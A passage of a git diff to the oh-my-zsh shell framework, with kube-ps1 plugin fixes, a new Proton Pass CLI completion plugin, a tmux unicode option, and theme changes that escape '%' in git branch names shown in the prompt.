prompt here +end +``` + +> Note: Fish users should source `kube-ps1.fish` instead of `kube-ps1.sh`. + ## Requirements The default prompt assumes you have the `kubectl` command line utility installed. @@ -184,8 +198,7 @@ If the font is not properly installed, and the glyph is not available, it will d ## Customization -The default settings can be overridden in `~/.bashrc` or `~/.zshrc` by setting -the following variables: +The default settings can be overridden in `~/.bashrc`, `~/.zshrc`, or `~/.config/fish/config.fish` by setting the following variables: | Variable | Default | Meaning | | :------- | :-----: | ------- | diff --git a/plugins/kube-ps1/kube-ps1.plugin.zsh b/plugins/kube-ps1/kube-ps1.plugin.zsh index f59b92df9..6d81e4832 100644 --- a/plugins/kube-ps1/kube-ps1.plugin.zsh +++ b/plugins/kube-ps1/kube-ps1.plugin.zsh @@ -49,7 +49,7 @@ _kube_ps1_shell_type() { elif [ "${BASH_VERSION-}" ]; then _KUBE_PS1_SHELL_TYPE="bash" fi - echo $_KUBE_PS1_SHELL_TYPE + echo "$_KUBE_PS1_SHELL_TYPE" } _kube_ps1_init() { @@ -65,6 +65,15 @@ _kube_ps1_init() { _KUBE_PS1_TPUT_AVAILABLE=false fi + # Detect stat type once (not needed for zsh which uses zstat builtin) + if [[ "${_KUBE_PS1_SHELL}" != "zsh" ]]; then + if stat -c "%s" /dev/null &> /dev/null; then + _KUBE_PS1_STAT_TYPE="gnu" + else + _KUBE_PS1_STAT_TYPE="bsd" + fi + fi + case "${_KUBE_PS1_SHELL}" in "zsh") _KUBE_PS1_OPEN_ESC="%{" @@ -98,8 +107,8 @@ _kube_ps1_color_fg() { magenta) _KUBE_PS1_FG_CODE=5;; cyan) _KUBE_PS1_FG_CODE=6;; white) _KUBE_PS1_FG_CODE=7;; - # 256 - [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_FG_CODE="${1}";; + # 256 colors + [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_FG_CODE="${1}";; *) _KUBE_PS1_FG_CODE=default esac @@ -111,7 +120,7 @@ _kube_ps1_color_fg() { elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then _KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")" - elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 256 ]]; then + elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 255 ]]; then _KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m" else _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}" @@ -131,20 +140,20 @@ _kube_ps1_color_bg() { magenta) _KUBE_PS1_BG_CODE=5;; cyan) _KUBE_PS1_BG_CODE=6;; white) _KUBE_PS1_BG_CODE=7;; - # 256 - [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_BG_CODE="${1}";; - *) _KUBE_PS1_BG_CODE=$'\033[0m';; + # 256 colors + [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_BG_CODE="${1}";; + *) _KUBE_PS1_BG_CODE=default esac if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then - _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_BG}" + _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}" return elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then _KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}" elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then _KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")" - elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 256 ]]; then + elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 255 ]]; then _KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m" else _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}" @@ -154,7 +163,7 @@ _kube_ps1_color_bg() { } _kube_ps1_binary_check() { - command -v $1 >/dev/null + command -v "$1" >/dev/null } _kube_ps1_symbol() { @@ -171,6 +180,7 @@ _kube_ps1_symbol() { local oc_glyph=$'\ue7b7' local oc_symbol_color=red local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}" + local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}" # Choose the symbol based on the provided argument or environment variable case "${symbol_arg}" in @@ -225,15 +235,27 @@ _kube_ps1_file_newer_than() { if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then # Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2) mtime=$(zstat -L +mtime -F %s.%s "${file}") - elif stat -c "%s" /dev/null &> /dev/null; then - # GNU stat + elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then mtime=$(stat -L -c %Y "${file}") else - # BSD stat mtime=$(stat -L -f %m "$file") fi - [[ "${mtime}" -gt "${check_time}" ]] + [[ "${mtime}" -gt "${check_time}" ]] && return 0 + + # If the path is a symlink, also check the symlink's own mtime + if [[ -L "${file}" ]]; then + if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then + mtime=$(zstat +mtime -F %s.%s "${file}") + elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then + mtime=$(stat -c %Y "${file}") + else + mtime=$(stat -f %m "$file") + fi + [[ "${mtime}" -gt "${check_time}" ]] && return 0 + fi + + return 1 } _kube_ps1_prompt_update() { @@ -280,7 +302,6 @@ _kube_ps1_prompt_update() { _kube_ps1_get_context() { if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)" - # Set namespace to 'N/A' if it is not defined KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}" if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then @@ -303,7 +324,7 @@ _kube_ps1_get_ns() { _kube_ps1_get_context_ns() { # Set the command time if [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then - if ((BASH_VERSINFO[0] >= 4 && BASH_VERSINFO[1] >= 2)); then + if ((BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 2))); then _KUBE_PS1_LAST_TIME=$(printf '%(%s)T') else _KUBE_PS1_LAST_TIME=$(date +%s) @@ -312,9 +333,6 @@ _kube_ps1_get_context_ns() { _KUBE_PS1_LAST_TIME=$EPOCHREALTIME fi - KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}" - KUBE_PS1_NAMESPACE="${KUBE_PS1_NAMESPACE:-N/A}" - # Cache which cfgfiles we can read in case they change. local conf _KUBE_PS1_CFGFILES_READ_CACHE= @@ -358,12 +376,13 @@ EOF kubeon() { if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then _kubeon_usage + return 0 elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then rm -f -- "${_KUBE_PS1_DISABLE_PATH}" elif [[ "$#" -ne 0 ]]; then - echo -e "error: unrecognized flag ${1}\\n" + echo -e "error: unrecognized flag ${1}\\n" >&2 _kubeon_usage - return + return 1 fi KUBE_PS1_ENABLED=on @@ -372,13 +391,14 @@ kubeon() { kubeoff() { if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then _kubeoff_usage + return 0 elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")" touch -- "${_KUBE_PS1_DISABLE_PATH}" elif [[ $# -ne 0 ]]; then - echo "error: unrecognized flag ${1}" >&2 + echo -e "error: unrecognized flag ${1}\\n" >&2 _kubeoff_usage - return + return 1 fi KUBE_PS1_ENABLED=off @@ -390,15 +410,9 @@ kube_ps1() { [[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return [[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return - local KUBE_PS1 local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}" - # If background color is set, reset color should also reset the background - # if [[ -n "${KUBE_PS1_BG_COLOR}" ]]; then - # KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_DEFAULT_BG}${_KUBE_PS1_CLOSE_ESC}" - # fi - # Background Color [[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")" diff --git a/plugins/pass-cli/README.md b/plugins/pass-cli/README.md new file mode 100644 index 000000000..0c126a26f --- /dev/null +++ b/plugins/pass-cli/README.md @@ -0,0 +1,11 @@ +# Proton Pass CLI plugin + +This plugin adds completions for [Proton Pass CLI](https://protonpass.github.io/pass-cli/). + +To use it, add `pass-cli` to the plugins array in your zshrc file: + +```zsh +plugins=(... pass-cli) +``` + +This plugin does not add any aliases. diff --git a/plugins/pass-cli/pass-cli.plugin.zsh b/plugins/pass-cli/pass-cli.plugin.zsh new file mode 100644 index 000000000..b613ecf3a --- /dev/null +++ b/plugins/pass-cli/pass-cli.plugin.zsh @@ -0,0 +1,14 @@ +# Autocompletion for Proton Pass CLI (pass-cli) +if (( ! $+commands[pass-cli] )); then + return +fi + +# If the completion file doesn't exist yet, we need to autoload it and +# bind it to `pass-cli`. Otherwise, compinit will have already done that. +if [[ ! -f "$ZSH_CACHE_DIR/completions/_pass-cli" ]]; then + typeset -g -A _comps + autoload -Uz _pass-cli + _comps[pass-cli]=_pass-cli +fi + +pass-cli completions zsh >| "$ZSH_CACHE_DIR/completions/_pass-cli" &| diff --git a/plugins/tmux/tmux.plugin.zsh b/plugins/tmux/tmux.plugin.zsh index c501ad701..651e72459 100644 --- a/plugins/tmux/tmux.plugin.zsh +++ b/plugins/tmux/tmux.plugin.zsh @@ -183,7 +183,10 @@ function _tmux_directory_session() { # human friendly unique session name for this directory local session_name="${dir}-${md5:0:6}" # create or attach to the session - tmux new -As "$session_name" + local -a tmux_cmd + tmux_cmd=(command tmux) + [[ "$ZSH_TMUX_UNICODE" == "true" ]] && tmux_cmd+=(-u) + $tmux_cmd new -As "$session_name" } alias tds=_tmux_directory_session diff --git a/plugins/tt/README.MD b/plugins/tt/README.md similarity index 100% rename from plugins/tt/README.MD rename to plugins/tt/README.md diff --git a/themes/eastwood.zsh-theme b/themes/eastwood.zsh-theme index 31e24fa7f..0dd2d42d3 100644 --- a/themes/eastwood.zsh-theme +++ b/themes/eastwood.zsh-theme @@ -16,7 +16,8 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local cb=$(git_current_branch) if [ -n "$cb" ]; then - echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX$(git_current_branch)$ZSH_THEME_GIT_PROMPT_SUFFIX" + cb="${cb//\%/%%}" + echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX${cb}$ZSH_THEME_GIT_PROMPT_SUFFIX" fi } diff --git a/themes/gallois.zsh-theme b/themes/gallois.zsh-theme index 3fc349072..eb04e66ed 100644 --- a/themes/gallois.zsh-theme +++ b/themes/gallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\ ${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/josh.zsh-theme b/themes/josh.zsh-theme index df59280d7..e8ae18dda 100644 --- a/themes/josh.zsh-theme +++ b/themes/josh.zsh-theme @@ -31,7 +31,7 @@ function josh_prompt { prompt=" $prompt" done - prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} $(git_current_branch)" + prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch//\%/%%}" echo $prompt } diff --git a/themes/juanghurtado.zsh-theme b/themes/juanghurtado.zsh-theme index 95a400e61..625f46a3a 100644 --- a/themes/juanghurtado.zsh-theme +++ b/themes/juanghurtado.zsh-theme @@ -41,4 +41,4 @@ USER_COLOR=$GREEN_BOLD PROMPT=' %{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%} %{$BLUE%}>%{$RESET_COLOR%} ' -RPROMPT='%{$GREEN_BOLD%}$(git_current_branch)$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' +RPROMPT='%{$GREEN_BOLD%}${$(git_current_branch)//\%/%%}$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' diff --git a/themes/lukerandall.zsh-theme b/themes/lukerandall.zsh-theme index cdecd284f..d5a452ebb 100644 --- a/themes/lukerandall.zsh-theme +++ b/themes/lukerandall.zsh-theme @@ -7,7 +7,7 @@ function my_git_prompt_info() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return GIT_STATUS=$(git_prompt_status) [[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS" - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" } PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b ' diff --git a/themes/michelebologna.zsh-theme b/themes/michelebologna.zsh-theme index b13b2caf1..449c280c5 100644 --- a/themes/michelebologna.zsh-theme +++ b/themes/michelebologna.zsh-theme @@ -31,11 +31,10 @@ local blue="%{$fg_bold[blue]%}" local magenta="%{$fg_bold[magenta]%}" local reset="%{$reset_color%}" -local -a color_array -color_array=($green $red $cyan $yellow $blue $magenta) +local -a color_array=($green $red $cyan $yellow $blue $magenta) local username_color=$blue -local hostname_color=$color_array[$[((#HOST))%6+1]] # choose hostname color based on first character +local hostname_color=$color_array[$(( (#HOST) % 6 + 1 ))] # choose hostname color based on first character local current_dir_color=$blue local username="%n" @@ -45,7 +44,7 @@ local current_dir="%~" local username_output="%(!..${username_color}${username}${reset}@)" local hostname_output="${hostname_color}${hostname}${reset}" local current_dir_output="${current_dir_color}${current_dir}${reset}" -local jobs_bg="${red}fg: %j$reset" +local jobs_bg="${red}jobs: %j$reset" local last_command_output="%(?.%(!.$red.$green).$yellow)" ZSH_THEME_GIT_PROMPT_PREFIX="" @@ -55,10 +54,10 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%" ZSH_THEME_GIT_PROMPT_MODIFIED="$red*" ZSH_THEME_GIT_PROMPT_ADDED="$green+" -ZSH_THEME_GIT_PROMPT_STASHED="$blue$" +ZSH_THEME_GIT_PROMPT_STASHED="${blue}\$" ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green=" -ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE=">" -ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="<" +ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE="${green}>" +ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="${yellow}<" ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>" function michelebologna_git_prompt { diff --git a/themes/mortalscumbag.zsh-theme b/themes/mortalscumbag.zsh-theme index c9994c0f9..80c2d70db 100644 --- a/themes/mortalscumbag.zsh-theme +++ b/themes/mortalscumbag.zsh-theme @@ -42,7 +42,9 @@ function my_git_prompt() { } function my_current_branch() { - echo $(git_current_branch || echo "(no branch)") + local branch + branch=$(git_current_branch || echo "(no branch)") + echo "${branch//\%/%%}" } function ssh_connection() { diff --git a/themes/oldgallois.zsh-theme b/themes/oldgallois.zsh-theme index bb97bfb17..7c77135c0 100644 --- a/themes/oldgallois.zsh-theme +++ b/themes/oldgallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" echo "$(parse_git_dirty)\ %{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/peepcode.zsh-theme b/themes/peepcode.zsh-theme index 044534614..4010ef1ff 100644 --- a/themes/peepcode.zsh-theme +++ b/themes/peepcode.zsh-theme @@ -31,7 +31,7 @@ git_prompt() { local cb=$(git_current_branch) if [[ -n "$cb" ]]; then local repo_path=$(git_repo_path) - echo " %{$fg_bold[grey]%}$cb %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" + echo " %{$fg_bold[grey]%}${cb//\%/%%} %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" fi } diff --git a/themes/rkj-repos.zsh-theme b/themes/rkj-repos.zsh-theme index a9fe1a9af..6ce45c969 100644 --- a/themes/rkj-repos.zsh-theme +++ b/themes/rkj-repos.zsh-theme @@ -23,7 +23,8 @@ function mygit() { if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then ref=$(command git symbolic-ref HEAD 2> /dev/null) || \ ref=$(command git rev-parse --short HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}$ZSH_THEME_GIT_PROMPT_SUFFIX " + ref=${${ref#refs/heads/}//\%/%%} + echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}${ZSH_THEME_GIT_PROMPT_SUFFIX} " fi } diff --git a/themes/sunrise.zsh-theme b/themes/sunrise.zsh-theme index 11f6af127..86ae722fd 100644 --- a/themes/sunrise.zsh-theme +++ b/themes/sunrise.zsh-theme @@ -62,7 +62,7 @@ custom_git_prompt_status() { # get the name of the branch we are on (copied and modified from git.zsh) function custom_git_prompt() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" } # %B sets bold text